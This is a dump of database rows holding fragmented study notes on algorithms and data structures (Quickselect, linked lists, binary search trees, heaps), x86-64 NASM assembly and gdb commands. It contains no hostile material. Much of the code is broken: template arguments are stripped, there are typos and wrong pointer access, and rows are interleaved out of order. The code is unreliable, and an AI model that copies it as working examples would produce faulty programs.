2024-07-28 09:56:11.711417 -169 44 One of the beautiful things about **Quickselect** is that we can find the correct value without having to sort the entire array. text txt 2024-07-28 09:56:12.927154 -170 44 Let’s say you have an array in random order, and you do not need to sort it, but you do want to know the *tenth-lowest* value in the array, or the *fifth-highest*.\nThis can be useful if we had a lot of test grades and want to know what the *25th percentile* was, or if we want to find the *median grade*. text txt 2024-07-28 09:56:12.948289 -171 44 One way to solve this would be to sort the entire array and then jump to the appropriate index. text txt 2024-07-28 09:56:12.969468 -172 44 However, even were we to use a fast sorting algorithm like **Quicksort**, this algorithm would take at least `O(N log N)` for average cases.\nAnd while that isn’t bad, we can do even better with a brilliant little algorithm known as **Quickselect**. text txt 2024-07-28 09:56:12.990262 -173 44 Like **Quicksort**, **Quickselect** relies on partitioning, and can be thought of as a hybrid of **Quicksort** and binary search. text txt 2024-07-28 09:56:13.00999 -174 44 After a partition, the *pivot* value ends up in the appropriate spot in the array.\n**Quickselect** takes advantage of this in the following way: text txt 2024-07-28 09:56:13.030323 -175 44 Let’s say we have an array of eight values, and we want to find the second-to-lowest value within the array.\nFirst, we partition the entire array.\nAfter the partition, the *pivot* will hopefully end up somewhere toward the middle of the array.\nThis pivot is now in its correct spot.\nFor example, since it’s in the fifth cell, we now know which value is the *fifth-lowest* value within the array.\nWe know that the *second-lowest* value is somewhere to the left of the *pivot*.\nWe can now ignore everything to the right of the *pivot* and focus on the left subarray.\nIt is in this respect that **Quickselect** is similar to binary search. text txt 2024-07-28 09:56:13.053527 -176 44 With **Quicksort**, each time we halved the array, we needed to re-partition every single element again, giving us `O(N log N)`.\nWith **Quickselect**, on the other hand, each time we cut the array in half, we only had to partition the one half we cared about. text txt 2024-07-28 09:56:13.074072 -177 44 When analyzing the efficiency of **Quickselect**, we’ll see that it’s `O(N)` for average scenarios. text txt 2024-07-28 09:56:13.094181 -178 44 *pseudocode in ruby*\ndef quickselect!(kth_lowest_value, left_index, right_index) text txt 2024-07-28 09:56:13.114666 -179 44 # We reached the best-case, sub-array has one cell.\n if right_index - left_index <= 0\n return @array[left_index]\n end text txt 2024-07-28 09:56:13.13535 -180 44 pivot_index = partition!(left_index, right_index) text txt 2024-07-28 09:56:13.155642 -181 44 if kth_lowest_value < pivot_index\n quickselect!(kth_lowest_value, left_index, pivot_index - 1)\n elsif kth_lowest_value > pivot_index\n quickselect!(kth_lowest_value, pivot_index + 1, right_index)\n else\n return @array[pivot_index]\n end\nend code txt 2024-07-28 09:56:13.176308 -182 44 *pseudocode in C++* code txt 2024-07-28 09:56:13.196245 -183 45 A linked list is a data structure that represents a list of connected data dispersed throughout memory known as *nodes*. text txt 2024-07-28 09:56:13.382642 -185 46 #include text txt 2024-07-28 09:56:14.164203 -186 46 template\nstruct Node\n{\n T data;\n std::shared_ptr next; text txt 2024-07-28 09:56:14.184345 -187 46 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:14.205218 -188 46 int main()\n{\n auto node1 = std::make_shared{"once"};\n auto node2 = std::make_shared{"upon"};\n auto node3 = std::make_shared{"a"};\n auto node4 = std::make_shared{"time"}; text txt 2024-07-28 09:56:14.226033 -189 46 node1->next = node2;\n node2->next = node3;\n node3->next = node4;\n} code txt 2024-07-28 09:56:14.246864 -190 46 ```\n["once"|1001] -> ["upon"|1002] -> ["a"|1003] -> ["time"|1004]\n`````` text txt 2024-07-28 09:56:14.268614 -191 47 A linked list class keeps track of its first node of the list. text txt 2024-07-28 09:56:15.199293 -192 47 #include text txt 2024-07-28 09:56:15.218541 -193 47 template\nstruct Node\n{\n T data;\n std::shared_ptr next; text txt 2024-07-28 09:56:15.238773 -194 47 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:15.259786 -195 47 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:15.280828 -196 47 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { }\n}; text txt 2024-07-28 09:56:15.301659 -197 47 int main()\n{\n auto node1 = std::make_shared{"once"};\n auto node2 = std::make_shared{"upon"};\n auto node3 = std::make_shared{"a"};\n auto node4 = std::make_shared{"time"}; text txt 2024-07-28 09:56:15.322482 -198 47 node1->next = node2;\n node2->next = node3;\n node3->next = node4; text txt 2024-07-28 09:56:15.343411 -199 47 LinkedList sentence(node1);\n} code txt 2024-07-28 09:56:15.364538 -200 48 **Reading**\nLinked lists having a worst-case read of `O(N)` is a major disadvantage when compared with arrays that can read any element in just `O(1)`. text txt 2024-07-28 09:56:18.883306 -201 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:18.904098 -202 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root}; text txt 2024-07-28 09:56:18.925862 -203 48 T read(int index)\n {\n std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:18.946419 -204 48 while (current_index < index)\n {\n current_node.reset(current_node.next);\n current_index++; text txt 2024-07-28 09:56:18.967347 -205 48 if (current_node == nullptr)\n return nullptr;\n } text txt 2024-07-28 09:56:18.987744 -206 48 return current_node.data;\n }\n}; code txt 2024-07-28 09:56:19.009137 -207 48 **Searching**\nSearching means looking for a value within the list and returning its index.\nSearching an array has a speed of `O(N)`, since the computer needs to inspect each value one at a time.\nLinked lists also have a search speed of `O(N)` as we need to go through a similar process as we did with reading. text txt 2024-07-28 09:56:19.029045 -208 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.050173 -209 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root}; text txt 2024-07-28 09:56:19.072889 -210 48 T read(int index); text txt 2024-07-28 09:56:19.092564 -211 48 int index_of(int index)\n {\n std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.113563 -212 48 while (current_index < index)\n {\n if (current_node.data == value)\n return current_index; text txt 2024-07-28 09:56:19.134908 -213 48 current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.156234 -214 48 return -1;\n }\n}; code txt 2024-07-28 09:56:19.177299 -215 48 **Insertion**\nWorst-case scenario for insertion into an array is `O(N)`.\nWith linked lists, however, insertion at the beginning of the list takes just one step, which is `O(1)`.\nPractically speaking inserting into a linked list is `O(N)`, as the worst-case scenario of inserting at the end of the list will take N+1 steps. text txt 2024-07-28 09:56:19.199242 -216 48 Analysis shows that the best- and worst-case scenarios for arrays and linked lists are the opposite of one another. text txt 2024-07-28 09:56:19.219838 -217 48 * Insert at beginning: array (worst case), linked list (best case)\n* Insert at middle: array (average case), linked list (average case)\n* Insert at end: array (best case), linked list (worst case) text txt 2024-07-28 09:56:19.240409 -218 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.260371 -219 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { } text txt 2024-07-28 09:56:19.281054 -220 48 T read(int index); text txt 2024-07-28 09:56:19.300276 -221 48 int index_of(int index); text txt 2024-07-28 09:56:19.320483 -222 48 void insert_at_index(int index, T value)\n {\n auto new_node{std::make_shared(value)}; text txt 2024-07-28 09:56:19.340636 -223 48 if (index == 0)\n {\n new_node.next = first_node;\n first_node = new_node;\n return;\n } text txt 2024-07-28 09:56:19.361821 -224 48 std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.382607 -225 48 while (current_index < (index-1))\n {\n current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.402896 -226 48 new_node.next = current_node.next;\n current_node.next = new_node;\n }\n}; code txt 2024-07-28 09:56:19.424122 -227 48 **Deletion**\nTo delete a node from the beginning of a linked list, all we need to do is change the first node of the linked list to now point to the node after that.\nWhen it comes to deleeting the final node of a linked list, the actual deletion takes one step, however, it takes N steps to access the second-to-last node in first place. text txt 2024-07-28 09:56:19.445705 -228 48 * Delete at beginning: array (worst case), linked list (best case)\n* Delete at middle: array (average case), linked list (average case)\n* Delete at end: array (best case), linked list (worst case) text txt 2024-07-28 09:56:19.467806 -229 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.488981 -230 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { } text txt 2024-07-28 09:56:19.509856 -231 48 T read(int index); text txt 2024-07-28 09:56:19.529756 -232 48 int index_of(int index); text txt 2024-07-28 09:56:19.549715 -233 48 void insert_at_index(int index, T value); text txt 2024-07-28 09:56:19.569761 -234 48 void delete_at_index(int index)\n {\n if (index == 0)\n {\n first_node = first_nodex.next;\n return;\n } text txt 2024-07-28 09:56:19.590222 -235 48 std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.610449 -468 108 difference:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:57.950592 -236 48 while (current_index < (index-1))\n {\n current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.631063 -237 48 std::shared_ptr node_after_deleted_node{current_node.next.next};\n current_node.reset(node_after_deleted_node);\n }\n}; code txt 2024-07-28 09:56:19.653373 -238 48 * Read: array O(1), linked list O(N)\n* Search: array O(N), linked list O(N)\n* Insert: array O(N) (O(1) at end), linked list O(N) (O(1) at end)\n* Delete: array O(N) (O(N) at beginning), linked list O(N) (O(1) at end) text txt 2024-07-28 09:56:19.674691 -239 49 A doubly linked list is like a list except that each node has two links, one that points to the next node, and another that points to the previous node.\nIn addition, the doubly linked list always keeps track of both the first and last node. text txt 2024-07-28 09:56:21.038851 -240 49 #include text txt 2024-07-28 09:56:21.058646 -241 49 template\nstruct Node\n{\n T data;\n std::shared_ptr next;\n std::shared_ptr previous; text txt 2024-07-28 09:56:21.078768 -242 49 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:21.099375 -243 49 class DoublyLinkedList\n{\n std::shared_ptr first_node;\n std::shared_ptr last_node;\n}; code txt 2024-07-28 09:56:21.119859 -244 49 Now we can insert and delete from the end of the list in `O(1)` as well. text txt 2024-07-28 09:56:21.141003 -245 49 #include text txt 2024-07-28 09:56:21.16198 -246 49 class DoublyLinkedList\n{\n std::shared_ptr first_node;\n std::shared_ptr last_node; text txt 2024-07-28 09:56:21.183047 -247 49 public:\n void insert_at_end(T value)\n {\n auto new_node{std::make_shared(value)}; text txt 2024-07-28 09:56:21.204324 -248 49 if (first_node)\n {\n new_node.previous.reset(last_node);\n last_node.next.reset(new_node);\n last_node.reset(new_node);\n }\n else\n {\n first_node.reset(new_node);\n last_node.reset(new_node);\n }\n } text txt 2024-07-28 09:56:21.225276 -249 49 std::shared_ptr> remove_from_front()\n {\n std::shared_ptr removed_node{first_node};\n first_node.reset(first_node.next);\n return removed_node;\n }\n}; code txt 2024-07-28 09:56:21.246338 -250 50 Because doubly linked lists have immediate access to both the front and end of the list, they can insert or delete on either side at `O(1)`.\nBecause doubly linked lists can insert data at the end in `O(1)` and delete data from the front in `O(1)` time, they make perfect underlying data structure for a queue. text txt 2024-07-28 09:56:22.004014 -251 50 template\nclass Queue\n{\n DoublyLinkedList data; text txt 2024-07-28 09:56:22.024723 -252 50 public:\n void enqueue(T value)\n {\n data.insert_at_end(value);\n } text txt 2024-07-28 09:56:22.047389 -253 50 void dequeue()\n {\n std::shared_ptr removed_node{data.remove_from_front()};\n return removed_node.value;\n } text txt 2024-07-28 09:56:22.067807 -254 50 T read()\n {\n if (data.first_node)\n return data.first_node.data;\n else\n return T{};\n }\n}; code txt 2024-07-28 09:56:22.089017 -255 51 A tree is a node-based data structure, but within a tree, each node can have links to multiple nodes. text txt 2024-07-28 09:56:22.314548 -256 52 * The upper most node is called **root**.\n* Node below the root are children to root.\n* The root is parent to second level nodes.\n* The last level of the tree is called the depth of the tree.\n* One property of a tree is how balanced it is. A tree is balanced when its nodes' subtrees have the same number of nodes in it. text txt 2024-07-28 09:56:22.570171 -257 53 A binary tree is a tree in which each node has zero, one, or two children.\nA binary search tree is a binary tree that also abides by the following rules: text txt 2024-07-28 09:56:23.243068 -258 53 1. Each node can have at most one left child and one right child.\n2. A node's left descendants can only contain values that are less than the node itself. Likewise, a node's right descendants can only contain values that are greater that the node itself. text txt 2024-07-28 09:56:23.264615 -259 53 template\nstruct TreeNode\n{\n T value;\n std::shared_ptr left;\n std::shared_ptr right; text txt 2024-07-28 09:56:23.286291 -260 53 public:\n explicit TreeNode(T value, std::shared_ptr left = nullptr, std::shared_ptr right = nullptr): left{left}, right{right} { }\n}; text txt 2024-07-28 09:56:23.307384 -261 53 int main()\n{\n auto node1 = std::make_shared(25);\n auto node2 = std::make_shared(75);\n auto root = std::make_shared(50, node1, node2);\n} code txt 2024-07-28 09:56:23.328326 -262 54 1. Designate a node to be the current node, aka. the root node.\n2. Inspect the value at the current node.\n3. If we have found the value we are looking for, stop.\n4. If the value we are looking for is less than the current node, search for it in its left subtree.\n5. If the value we are looking for is greater than the current node, search for it in its right subtree.\n6. Repeat steps 1 through 5 until we find the value we are searching for, or until we hit the bottom of the tree, in which case our value must not be in the tree. text txt 2024-07-28 09:56:23.87164 -263 54 Searching a binary search tree takes `O(long N)`. text txt 2024-07-28 09:56:23.891599 -264 54 std::shared_ptr search(T value, std::shared_ptr node)\n{\n if (node == nullptr || node->value == value)\n return node;\n else if (value < node->value)\n return search(value, node->left);\n else\n return search(value, node->right);\n} code txt 2024-07-28 09:56:23.912764 -265 55 First, we have to find the correct node to attach the new value.\nInsertion takes `O(log N)`. text txt 2024-07-28 09:56:24.386497 -266 55 def insert(value, node)\n if value < node.value\n if node.left == nil\n node.left = TreeNode{value}\n else\n insert(value, node.left)\n elif value > node.value\n if node.right == nill\n node.right = Node{value}\n else\n insert(value, node.right) code txt 2024-07-28 09:56:24.40754 -267 56 * If the node being deleted has no children, simply delete it.\n* If the node being deleted has one child, delete the node and plug the child into the spot where the deleted node was.\n* When deleting a node with two children, replace the deleted node with the successor node. The successor node is the child node whose value is the least of all values that are greater than the deleted node. text txt 2024-07-28 09:56:24.641394 -268 57 Visit the right child of the deleted value and then keep on visiting the left child of each subsequent child until there are no more left children.\nThe bottom value is the successor node. text txt 2024-07-28 09:56:26.267508 -269 57 ```\n 50\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 (52) 82 95\n`````` text txt 2024-07-28 09:56:26.287955 -270 57 If the successor node has a right child, after plugging the successor node into the spot of the deleted node,\ntake the former right child of the successor node and turn it into the left child of the former parent of the successor node. text txt 2024-07-28 09:56:26.31 -271 57 ```\n X\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 (52) 82 95\n \\\\\n 55 text txt 2024-07-28 09:56:26.330833 -272 57 52\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 55 82 95\n`````` text txt 2024-07-28 09:56:26.351997 -273 57 def delete(valueToDelete, node):\n if node is None:\n return None\n elif valueToDelete < node.value:\n node.leftChild = delete(valueToDelete, node.leftChild)\n return node\n elif valueToDelete > node.value:\n node.rightChild = delete(valueToDelete, node.rightChild)\n return node\n elif valueToDelete == node.value:\n if node.leftChild is None:\n return node.rightChild\n elif node.rightChild is None:\n return node.leftChild\n else:\n node.rightChild = lift(node.rightChild, node)\n return node text txt 2024-07-28 09:56:26.375077 -274 57 def lift(node, nodeToDelete):\n if node.leftChild:\n node.leftChild = lift(node.leftChild, nodeToDelete)\n return node\n else:\n nodeToDelete.value = node.value\n return node.rightChild code txt 2024-07-28 09:56:26.396007 -275 58 1. Call itself recursively on the node's left child. The function will keep getting called until we hit a node that does not have a left child.\n2. Visit a node.\n3. Call itself recursively on the node's right child. The function will keep getting called until we hit a node that does not have a right child. text txt 2024-07-28 09:56:26.819591 -276 58 def traverse_and_print(node):\n if node is None:\n return text txt 2024-07-28 09:56:26.840937 -277 58 traverse_and_print(node.left)\n print(node.value)\n traverse_and_print(node.right) code txt 2024-07-28 09:56:26.862687 -278 59 A priority queue is a list whose deletions and access are just like a classic queue, but insertions are like an ordered array. text txt 2024-07-28 09:56:27.067217 -279 60 Array-based priority queues have deletions that are `O(1)` and insertions that are `O(N)`.\nThe `O(N)` insertions may cause some real unwanted drags to applications.\nHeap data structures serve as a more efficient foundation for the priority queue. text txt 2024-07-28 09:56:27.270518 -280 61 The binary heap is a specific kind of binary tree.\nThe binary heaps come in two flavors: the binary max-heap, and the binary min-heap. text txt 2024-07-28 09:56:27.465973 -281 62 * The value of each node must be greater than each of its descendant nodes. This rule is known as the heap condition.\n* The tree must be complete. text txt 2024-07-28 09:56:27.694725 -282 63 The heap requires that each nodes' value must be greater than each and every descendants. text txt 2024-07-28 09:56:28.231559 -283 63 ```\n 100\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n87 16 8 12\n`````` text txt 2024-07-28 09:56:28.252002 -284 63 The following tree isn't a valid heap, because it doesn't meet the heap condition. text txt 2024-07-28 09:56:28.27162 -285 63 ```\n 100\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n87 (92) 8 12\n`````` text txt 2024-07-28 09:56:28.293055 -286 64 A complete tree is a tree that is completely filled with nodes.\nSo if you read each level of the tree from left to right, all the nodes are there.\nHowever, the bottom row can have empty positions, as long as aren't any nodes to the right of these empty positions. text txt 2024-07-28 09:56:28.760323 -287 64 ```\n 100\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n / \\\\ / \\\\\n 87 16 8 12\n / \\\\ / \\\\ / \\\\\n86 50 2 15 3 (X)\n`````` text txt 2024-07-28 09:56:28.781865 -288 65 section .data\n message db "sample assembly program", 10, 0\n length equ $ - message text txt 2024-07-28 09:56:29.787746 -289 65 section .bss\nsection .text\n global main text txt 2024-07-28 09:56:29.807597 -290 65 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:29.827696 -291 65 mov rax, 1\n mov rdi, 1\n mov rsi, message\n mov rdx, length\n syscall text txt 2024-07-28 09:56:29.847856 -292 65 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:29.867702 -293 65 mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:29.888794 -294 65 sample: sample.o\n gcc -Wall -g3 -Og -no-pie sample.o -o sample\nsample.o: sample.asm\n nasm -f elf64 -g -F dwarf sample.asm -l sample.lst code txt 2024-07-28 09:56:29.908607 -295 66 section .data\nsection .bss\nsection .text\n global main text txt 2024-07-28 09:56:30.308377 -296 66 main:\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:30.328464 -297 68 * rax\n* rbx\n* rcx\n* rdx\n* rsi\n* rdi\n* rbp\n* rsp\n* r8\n* r9\n* r10\n* r11\n* r12\n* r13\n* r14\n* r15 text txt 2024-07-28 09:56:31.032986 -298 69 `rip` text txt 2024-07-28 09:56:31.250051 -299 70 Name|Symbol|Bit|Content\n---|---|---|---\nCarry|CF|0|Previous instruction had a carry\nParityp|F|2|Last byte has even number of 1s\nAdjust|AF|4|BCD operations\nZero|ZF|6|Previous instruction resulted a zero\nSign|SF|8|Previous instruction resulted in most significant bit equal to 1\nDirection|DF|10|Direction of string operations (increment or decrement)\nOverflow|OF|11|Previous instruction resulted in overflow text txt 2024-07-28 09:56:31.607359 -300 71 `xmm`\n`ymm`\n`zmm` text txt 2024-07-28 09:56:31.831817 -301 72 gdb --quiet executable code txt 2024-07-28 09:56:32.10828 -302 73 list\nlist 10\n`help list` or `h l` code txt 2024-07-28 09:56:32.371265 -303 74 show listsize\nset listsize 20 code txt 2024-07-28 09:56:32.645042 -304 75 show disassembly-flavor\nset disassembly-flavor intel\nset disassembly-flavor att\nhelp set disassembly-flavor code txt 2024-07-28 09:56:32.948217 -305 76 echo 'set disassembly-flavor intel' >> $HOME/.gdbinit code txt 2024-07-28 09:56:33.173535 -306 77 disassemble main\ndisassemble 'path/to/source.cpp'::func\nhelp disassemble code txt 2024-07-28 09:56:33.454157 -307 78 x/s 0x654321\nx/s &message\nx/d 0x654321\nx/x $rip\nhelp x code txt 2024-07-28 09:56:33.795315 -308 79 break main\nhelp break code txt 2024-07-28 09:56:34.037138 -309 80 run\nhelp run code txt 2024-07-28 09:56:34.315654 -310 81 info registers\ninfo all-registers\nhelp info registers\nhelp info all-registers code txt 2024-07-28 09:56:34.628517 -311 82 info breakpoints\ninfo stack\ninfo threads\ninfo source\nhelp info breakpoints\nhelp info stack\nhelp info threads\nhelp info source code txt 2024-07-28 09:56:35.010559 -312 83 disable breakpoint 1\nenable breakpoint 1\ndelete breakpoint 1\nhelp disable breakpoint\nhelp enable breakpoint\nhelp delete breakpoint code txt 2024-07-28 09:56:35.369029 -313 84 continue\nnext\nstep\nhelp continue\nhelp next\nhelp step\nhelp finish code txt 2024-07-28 09:56:35.753915 -314 85 print\nhelp print code txt 2024-07-28 09:56:35.987283 -315 86 tui enable\nhelp tui code txt 2024-07-28 09:56:36.275577 -316 87 section .data\n message db "sample program", 10, 0\n message_length equ $ - message - 1\n pi dq 3.14 text txt 2024-07-28 09:56:37.091007 -317 87 section .text\n global main text txt 2024-07-28 09:56:37.112478 -318 87 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:37.133733 -469 108 mov rax, rdi\n sub rax, rsi text txt 2024-07-28 09:56:57.970937 -319 87 ; write\n mov rax, 1\n mov rdi, 1\n mov rsi, message\n mov rdx, message_length\n syscall text txt 2024-07-28 09:56:37.156221 -320 87 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:37.176443 -321 87 ; exit\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:37.198951 -322 88 extern printf text txt 2024-07-28 09:56:38.31386 -323 88 section .data\n string_fmtstr db "%s", 10, 0\n string db "sample program", 0 text txt 2024-07-28 09:56:38.3351 -324 88 integer_fmtstr db "%d", 10, 0\n number dd 37 text txt 2024-07-28 09:56:38.354787 -325 88 float_fmtstr db "%2.6f", 10, 0\n pi dq 3.141592 text txt 2024-07-28 09:56:38.375973 -326 88 section .text\n global main text txt 2024-07-28 09:56:38.396606 -327 88 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:38.418678 -328 88 ; printf\n mov rax, 0 ; do not use xmm registers\n mov rdi, string_fmtstr\n mov rsi, string\n call printf text txt 2024-07-28 09:56:38.441513 -329 88 ; printf\n mov rax, 0 ; do not use xmm registers\n mov rdi, integer_fmtstr\n mov rsi, [number]\n call printf text txt 2024-07-28 09:56:38.464177 -330 88 ; printf\n mov rax, 1 ; use xmm registers\n movq xmm0, [pi]\n mov rdi, float_fmtstr\n call printf text txt 2024-07-28 09:56:38.485499 -331 88 ; exit\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:38.505889 -332 89 section .text\n global main text txt 2024-07-28 09:56:38.847847 -333 89 main:\n ret code txt 2024-07-28 09:56:38.868587 -334 90 * je: jump if equal\n* jne: jump if not equal\n* jg: jump if greater\n* jge: jump if greater or equal\n* jl: jump if lower\n* jle: jump if lower or equal\n* ja: jump if above\n* jae: jump if above or equal\n* jb: jump if below\n* jbe: jump if below or equal text txt 2024-07-28 09:56:40.225601 -335 90 extern printf text txt 2024-07-28 09:56:40.245746 -336 90 section .data\nnumerator dq 5\ndenominator dq 6\ngreater_str db "greater", 10, 0\nless_str db "less", 10, 0 text txt 2024-07-28 09:56:40.266512 -337 90 section .text\nglobal main text txt 2024-07-28 09:56:40.286881 -338 90 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:40.3074 -339 90 mov rax, [numerator]\nmov rbx, [denominator]\ncmp rax, rbx\njge greater text txt 2024-07-28 09:56:40.328384 -340 90 mov rax, 0\nmov rdi, greater_str\ncall printf\njmp exit text txt 2024-07-28 09:56:40.350458 -341 90 greater:\nmov rax, 0\nmov rdi, less_str\ncall printf text txt 2024-07-28 09:56:40.371121 -342 90 exit:\nxor rax, rax\nmov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:56:40.393063 -343 90 break main\nrun\nnext\ninfo rflags code txt 2024-07-28 09:56:40.41394 -344 91 extern printf text txt 2024-07-28 09:56:41.484824 -345 91 section .data\ncounter dq 3\nfmt db "%d", 10, 0 text txt 2024-07-28 09:56:41.505431 -346 91 section .text\nglobal main text txt 2024-07-28 09:56:41.527189 -347 91 main:\n; make stack frame\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:41.548296 -348 91 ; store initial value\nmov rcx, [counter] text txt 2024-07-28 09:56:41.568994 -349 91 ; print initial value\nmov rax, 0\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:41.589405 -350 91 repeat:\n; repeat decrementing until value reached zero\ndec rcx\ncmp rcx, 0\njne repeat text txt 2024-07-28 09:56:41.609294 -351 91 ; print result\nmov rax, 0\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:41.629991 -352 91 ; remove stack frame\nmov rsp, rbp\npop rbp text txt 2024-07-28 09:56:41.650871 -353 91 ; return zero value\nxor rax, rax\nret code txt 2024-07-28 09:56:41.671578 -354 92 extern printf text txt 2024-07-28 09:56:42.831396 -355 92 section .data\nfmt db "%i", 10, 0\ninitial dq 3 text txt 2024-07-28 09:56:42.852723 -356 92 section .text\nglobal main text txt 2024-07-28 09:56:42.874395 -357 92 main:\n; make stack frame\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:42.894534 -358 92 ; assign initial value\nmov rcx, [initial] text txt 2024-07-28 09:56:42.914831 -359 92 ; print initial value\nxor rax, rax\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:42.937096 -360 92 ; printf modified rcx\nmov rcx, [initial] text txt 2024-07-28 09:56:42.958305 -361 92 repeat:\n; decrement rcx until reached zero\nloop repeat text txt 2024-07-28 09:56:42.978694 -362 92 ; print result\nxor rax, rax\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:42.999398 -363 92 ; remove stack frame\nmov rsp, rbp\npop rbp text txt 2024-07-28 09:56:43.021789 -364 92 ; return value\nxor rax, rax\nxor rdi, rdi\nret code txt 2024-07-28 09:56:43.043916 -365 93 section .data\n word_array times 5 dw 0 ; array of 5 words containing 0 code txt 2024-07-28 09:56:43.305327 -366 94 section .bss\n bvar resb 10\n wvar resw 5\n dvar resd 1\n qvar resq 100 code txt 2024-07-28 09:56:43.687924 -367 95 section .data\n text db "abc", 0 text txt 2024-07-28 09:56:44.44815 -368 95 section .text\n global main text txt 2024-07-28 09:56:44.468619 -369 95 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:44.49003 -370 95 ; load address of first character\n lea al, [text] text txt 2024-07-28 09:56:44.511444 -371 95 ; point of second character\n inc rax text txt 2024-07-28 09:56:44.53212 -372 95 ; load address of third character\n lea al, [text + 2] text txt 2024-07-28 09:56:44.553441 -373 95 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:44.574616 -374 95 xor rax, rax\n ret code txt 2024-07-28 09:56:44.597825 -375 96 readelf --file-header ./program code txt 2024-07-28 09:56:44.827889 -376 97 readelf --symbols ./program | grep -E 'main|start|Num:.*' --color code txt 2024-07-28 09:56:45.076369 -377 98 readelf --symbols ./program | sort -k 2 -r code txt 2024-07-28 09:56:45.322318 -378 99 * `mul` multiplies unsigned integers\n* `imul` multiplies signed integers\n* `imul` will store the lower 64 bits of the resulting product in rax and the upper 64 bits in rdx.\n* `idiv` will divide the dividen in rdx:rax by the divisor in the source operand and store the integer result in rax. text txt 2024-07-28 09:56:46.900432 -379 99 section .data\n number1 dq 36\n number2 dq 3 text txt 2024-07-28 09:56:46.921863 -380 99 section .bss\n result resq 1\n modulo resq 1 text txt 2024-07-28 09:56:46.942022 -381 99 section .text\n global main text txt 2024-07-28 09:56:46.963612 -382 99 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:46.984971 -383 99 ; addition\n mov rax, [number1]\n add rax, [number2]\n mov [result], rax ; 39 text txt 2024-07-28 09:56:47.006581 -384 99 ; subtration\n mov rax, [number1]\n sub rax, [number2]\n mov [result], rax ; 33 text txt 2024-07-28 09:56:47.027491 -385 99 ; increment\n mov rax, [number1]\n inc rax\n mov [result], rax text txt 2024-07-28 09:56:47.049484 -386 99 ; shift arithmetic left\n mov rax, [number1]\n sal rax, 2 ; multiply by 4\n mov [result], rax text txt 2024-07-28 09:56:47.070787 -387 99 ; shift arithmetic right\n mov rax, [number1]\n sar rax, 2 ; divide by 4\n mov [result], rax text txt 2024-07-28 09:56:47.092007 -388 99 ; multiply\n mov rax, [number2]\n imul qword[number2] ; multiplly rax with number2\n mov [result], rax text txt 2024-07-28 09:56:47.11341 -1256 251 return NULL;\n} text txt 2024-07-28 09:58:53.549881 -389 99 ; divide\n mov rax, [number1]\n mov rdx, 0 ; division uses rdx:rax convention\n idiv qword[number2]\n mov [result], rax\n mov [modulo], rdx text txt 2024-07-28 09:56:47.134376 -390 99 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:47.15521 -391 99 xor rax, rax\n ret code txt 2024-07-28 09:56:47.175524 -392 100 section .data\ntext db "Brian Salehi", 10, 0\nlength equ $ - text - 1 text txt 2024-07-28 09:56:48.571587 -393 100 section .text\nglobal main text txt 2024-07-28 09:56:48.591914 -394 100 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:48.613074 -395 100 ; print initial sequence\nmov rax, 1\nmov rdi, 1\nmov rsi, text\nmov rdx, length\nsyscall text txt 2024-07-28 09:56:48.634385 -396 100 ; prepare for reverse operation\nxor rax, 